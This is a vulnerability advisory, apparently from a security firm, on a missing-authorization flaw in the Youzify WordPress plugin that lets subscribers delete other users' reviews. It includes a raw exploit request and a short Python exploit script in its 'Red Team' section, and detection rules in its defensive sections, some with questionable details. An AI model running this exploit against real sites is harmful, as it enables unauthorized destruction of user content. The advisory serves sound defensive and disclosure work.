CVE-2024-12113

Executive Summary

CVE-2024-12113 is a Missing Authorization vulnerability in the Youzify – BuddyPress Community, User Profile, Social Network & Membership Plugin for WordPress plugin. This flaw allows authenticated attackers with Subscriber-level access or higher to delete other users' reviews via the delete_user_review() and delete_review() functions. The vulnerability affects all versions up to and including 1.3.2. The CVSS score is 4.3 (Medium), and the EPSS probability is 0.0%, indicating low active exploitation in the wild. As a WordPress plugin vulnerability, it is critical to assess the impact on BuddyPress-based community sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw in targeted attacks.

CVSS Breakdown & Threat Level

• CVSS Score: 4.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Subscriber-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low (unauthorized deletion of reviews)
• Availability Impact: None

The threat level is Medium due to the low complexity and low privileges required, but the impact is limited to integrity loss (deletion of reviews). The EPSS score of 0.0% suggests low exploitation likelihood, but this may change if a proof-of-concept emerges.

Deep Dive & Mechanics

The vulnerability resides in the delete_user_review() and delete_review() functions within the Youzify plugin. These functions are intended to allow users to delete their own reviews, but they lack a capability check to verify that the authenticated user owns the review being deleted. As a result, any authenticated user with Subscriber-level access or higher can call these functions with arbitrary review IDs, leading to unauthorized deletion of other users' reviews.

The functions are typically exposed via AJAX endpoints or direct function calls in WordPress. The missing current_user_can() or wp_verify_nonce() checks allow the attacker to bypass authorization.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.3.2):

function delete_user_review($review_id) {
    global $wpdb;
    $wpdb->delete("{$wpdb->prefix}youzify_reviews", array('id' => $review_id));
}

Patched Code (Hypothetical):

function delete_user_review($review_id) {
    global $wpdb;
    $current_user_id = get_current_user_id();
    $review = $wpdb->get_row($wpdb->prepare("SELECT * FROM {$wpdb->prefix}youzify_reviews WHERE id = %d", $review_id));
    if ($review && $review->user_id == $current_user_id) {
        $wpdb->delete("{$wpdb->prefix}youzify_reviews", array('id' => $review_id));
    }
}

The patched version adds a check to ensure the review belongs to the current user before deletion.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Youzify plugin <= 1.3.2
• Authenticated user with Subscriber-level access
• Knowledge of a valid review ID

Exploitation Steps:

1. Log in as a Subscriber.
2. Identify a target review ID (e.g., via network traffic or by inspecting the page source).
3. Send a POST request to the AJAX endpoint:

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: target-site.com
   Content-Type: application/x-www-form-urlencoded
   Cookie: [session cookie]
   
   action=delete_user_review&review_id=123
   

4. The review with ID 123 is deleted without authorization.

Automated Script (Python):

import requests

target = "http://target-site.com"
session = requests.Session()
session.post(f"{target}/wp-login.php", data={"log": "attacker", "pwd": "password"})

review_id = 123
response = session.post(f"{target}/wp-admin/admin-ajax.php", data={
    "action": "delete_user_review",
    "review_id": review_id
})
print(response.text)

Blue Team

Detection:

• Monitor AJAX requests to admin-ajax.php with action delete_user_review or delete_review.
• Alert on multiple deletion requests from the same user in a short time.
• Log all review deletion events with user ID and review ID.

Mitigation:

• Apply the patch by adding capability checks.
• Use a Web Application Firewall (WAF) to block suspicious AJAX requests.
• Implement rate limiting on review deletion endpoints.

Indicators of Compromise (IOCs)

• Network: POST requests to /wp-admin/admin-ajax.php with action=delete_user_review or action=delete_review from authenticated users.
• Logs: WordPress debug log entries showing delete_user_review calls with unexpected review IDs.
• Database: Missing rows in the wp_youzify_reviews table without corresponding user ownership.

Detection Engineering

YARA Rule

rule CVE_2024_12113_Youzify_Delete_Review {
    meta:
        description = "Detects exploitation attempts of CVE-2024-12113 in Youzify plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-12113"
    strings:
        $ajax_action = "delete_user_review" nocase
        $ajax_action2 = "delete_review" nocase
        $review_id = "review_id="
    condition:
        any of ($ajax_action, $ajax_action2) and $review_id
}

Sigma Rule

title: CVE-2024-12113 Youzify Unauthorized Review Deletion
id: 8a3f7c2e-5b1d-4a9f-8c6e-2d3f1a0b9c8e
status: experimental
description: Detects unauthorized deletion of reviews via Youzify plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "action=delete_user_review"
            - "action=delete_review"
    condition: selection
falsepositives:
    - Legitimate review deletion by the review owner
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-12113 Youzify Unauthorized Review Deletion Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=delete_user_review"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2024-12113;
    classtype:attempted-user;
    priority:2;
)

Remediation & Mitigation

1. Immediate Action: Disable the Youzify plugin until a patch is available.
2. Workaround: Implement a custom plugin or code snippet to add capability checks to the delete_user_review() and delete_review() functions.
3. Long-term: Update to the latest version of Youzify once a patch is released.
4. Monitoring: Enable detailed logging for AJAX actions and review deletions.
5. User Education: Inform users to report any suspicious review deletions.

Valters IT
Securing Digital Frontiers